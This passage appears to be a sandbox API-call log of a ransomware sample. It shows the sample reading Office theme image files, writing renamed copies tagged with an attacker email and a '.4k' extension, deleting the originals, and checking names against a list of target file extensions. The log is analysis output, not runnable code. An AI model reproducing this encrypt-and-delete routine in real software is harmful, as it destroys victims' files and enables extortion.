	[0106.394] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x1010, lpOverlapped=0x0) returned 1
	[0106.399] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.399] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.399] SetEndOfFile (hFile=0x1e8) returned 1
	[0106.399] CloseHandle (hObject=0x1e8) returned 1
	[0106.399] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.399] SetEndOfFile (hFile=0x1e4) returned 1
	[0106.400] CloseHandle (hObject=0x1e4) returned 1
	[0106.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.401] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1
	[0106.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.401] lstrlenW (lpString=".doc") returned 4
	[0106.401] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.401] lstrlenW (lpString=".docx") returned 5
	[0106.401] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.401] lstrlenW (lpString=".pdf") returned 4
	[0106.401] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.401] lstrlenW (lpString=".xls") returned 4
	[0106.401] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.401] lstrlenW (lpString=".xlsx") returned 5
	[0106.401] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.401] lstrlenW (lpString=".ppt") returned 4
	[0106.401] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.402] lstrlenW (lpString=".zip") returned 4
	[0106.402] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.402] lstrlenW (lpString=".rar") returned 4
	[0106.402] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.402] lstrlenW (lpString=".bz2") returned 4
	[0106.402] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.402] lstrlenW (lpString=".7z") returned 3
	[0106.402] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.402] lstrlenW (lpString=".dbf") returned 4
	[0106.402] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.402] lstrlenW (lpString=".1cd") returned 4
	[0106.402] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.402] lstrlenW (lpString=".jpg") returned 4
	[0106.402] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.402] lstrlenW (lpString=".doc") returned 4
	[0106.402] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.402] lstrlenW (lpString=".docx") returned 5
	[0106.402] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.402] lstrlenW (lpString=".pdf") returned 4
	[0106.402] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.402] lstrlenW (lpString=".xls") returned 4
	[0106.402] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.403] lstrlenW (lpString=".xlsx") returned 5
	[0106.403] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.403] lstrlenW (lpString=".ppt") returned 4
	[0106.403] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.403] lstrlenW (lpString=".zip") returned 4
	[0106.403] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.403] lstrlenW (lpString=".rar") returned 4
	[0106.403] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.403] lstrlenW (lpString=".bz2") returned 4
	[0106.403] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.403] lstrlenW (lpString=".7z") returned 3
	[0106.403] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.403] lstrlenW (lpString=".dbf") returned 4
	[0106.403] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.403] lstrlenW (lpString=".1cd") returned 4
	[0106.403] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0106.403] lstrlenW (lpString=".jpg") returned 4
	[0106.403] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.403] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0106.403] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0106.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0106.404] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=3611) returned 1
	[0106.404] CloseHandle (hObject=0x1e4) returned 1
	[0106.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20
	[0106.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0106.406] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.406] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0106.435] GetLastError () returned 0x0
	[0106.435] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xe1b, lpOverlapped=0x0) returned 1
	[0106.473] WriteFile (in: hFile=0x1ac, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe20, lpOverlapped=0x0) returned 1
	[0106.474] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.474] WriteFile (in: hFile=0x1ac, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.474] SetEndOfFile (hFile=0x1ac) returned 1
	[0106.474] CloseHandle (hObject=0x1ac) returned 1
	[0106.474] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.474] SetEndOfFile (hFile=0x1e4) returned 1
	[0106.475] CloseHandle (hObject=0x1e4) returned 1
	[0106.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.476] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1
	[0106.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.476] lstrlenW (lpString=".doc") returned 4
	[0106.476] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.476] lstrlenW (lpString=".docx") returned 5
	[0106.476] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.476] lstrlenW (lpString=".pdf") returned 4
	[0106.476] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.476] lstrlenW (lpString=".xls") returned 4
	[0106.476] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.476] lstrlenW (lpString=".xlsx") returned 5
	[0106.476] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.476] lstrlenW (lpString=".ppt") returned 4
	[0106.476] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.476] lstrlenW (lpString=".zip") returned 4
	[0106.476] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.476] lstrlenW (lpString=".rar") returned 4
	[0106.476] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.476] lstrlenW (lpString=".bz2") returned 4
	[0106.476] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.476] lstrlenW (lpString=".7z") returned 3
	[0106.476] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.476] lstrlenW (lpString=".dbf") returned 4
	[0106.476] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString=".1cd") returned 4
	[0106.477] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString=".jpg") returned 4
	[0106.477] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString=".doc") returned 4
	[0106.477] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.477] lstrlenW (lpString=".docx") returned 5
	[0106.477] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.477] lstrlenW (lpString=".pdf") returned 4
	[0106.477] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.477] lstrlenW (lpString=".xls") returned 4
	[0106.477] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.477] lstrlenW (lpString=".xlsx") returned 5
	[0106.477] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.477] lstrlenW (lpString=".ppt") returned 4
	[0106.477] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString=".zip") returned 4
	[0106.477] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.477] lstrlenW (lpString=".rar") returned 4
	[0106.477] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.477] lstrlenW (lpString=".bz2") returned 4
	[0106.477] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.477] lstrlenW (lpString=".7z") returned 3
	[0106.477] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString=".dbf") returned 4
	[0106.477] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.477] lstrlenW (lpString=".1cd") returned 4
	[0106.477] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0106.478] lstrlenW (lpString=".jpg") returned 4
	[0106.478] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.478] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0106.478] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0106.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.537] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1009) returned 1
	[0106.537] CloseHandle (hObject=0x21c) returned 1
	[0106.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20
	[0106.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.537] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.537] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0106.539] GetLastError () returned 0x0
	[0106.539] ReadFile (in: hFile=0x21c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x3f1, lpOverlapped=0x0) returned 1
	[0106.724] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x400, lpOverlapped=0x0) returned 1
	[0106.725] ReadFile (in: hFile=0x21c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.725] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.725] SetEndOfFile (hFile=0x1f8) returned 1
	[0106.725] CloseHandle (hObject=0x1f8) returned 1
	[0106.725] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.725] SetEndOfFile (hFile=0x21c) returned 1
	[0106.726] CloseHandle (hObject=0x21c) returned 1
	[0106.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.726] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1
	[0106.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.727] lstrlenW (lpString=".doc") returned 4
	[0106.727] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.727] lstrlenW (lpString=".docx") returned 5
	[0106.727] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.727] lstrlenW (lpString=".pdf") returned 4
	[0106.727] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.727] lstrlenW (lpString=".xls") returned 4
	[0106.727] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.727] lstrlenW (lpString=".xlsx") returned 5
	[0106.727] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.727] lstrlenW (lpString=".ppt") returned 4
	[0106.727] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.727] lstrlenW (lpString=".zip") returned 4
	[0106.727] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.727] lstrlenW (lpString=".rar") returned 4
	[0106.727] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.727] lstrlenW (lpString=".bz2") returned 4
	[0106.727] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.727] lstrlenW (lpString=".7z") returned 3
	[0106.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.727] lstrlenW (lpString=".dbf") returned 4
	[0106.727] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.727] lstrlenW (lpString=".1cd") returned 4
	[0106.727] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString=".jpg") returned 4
	[0106.728] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString=".doc") returned 4
	[0106.728] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.728] lstrlenW (lpString=".docx") returned 5
	[0106.728] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.728] lstrlenW (lpString=".pdf") returned 4
	[0106.728] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.728] lstrlenW (lpString=".xls") returned 4
	[0106.728] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.728] lstrlenW (lpString=".xlsx") returned 5
	[0106.728] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.728] lstrlenW (lpString=".ppt") returned 4
	[0106.728] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString=".zip") returned 4
	[0106.728] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.728] lstrlenW (lpString=".rar") returned 4
	[0106.728] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.728] lstrlenW (lpString=".bz2") returned 4
	[0106.728] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.728] lstrlenW (lpString=".7z") returned 3
	[0106.728] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString=".dbf") returned 4
	[0106.728] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString=".1cd") returned 4
	[0106.728] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0106.728] lstrlenW (lpString=".jpg") returned 4
	[0106.728] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.729] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0106.729] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0106.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.729] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=21812) returned 1
	[0106.729] CloseHandle (hObject=0x21c) returned 1
	[0106.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20
	[0106.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.729] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.729] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
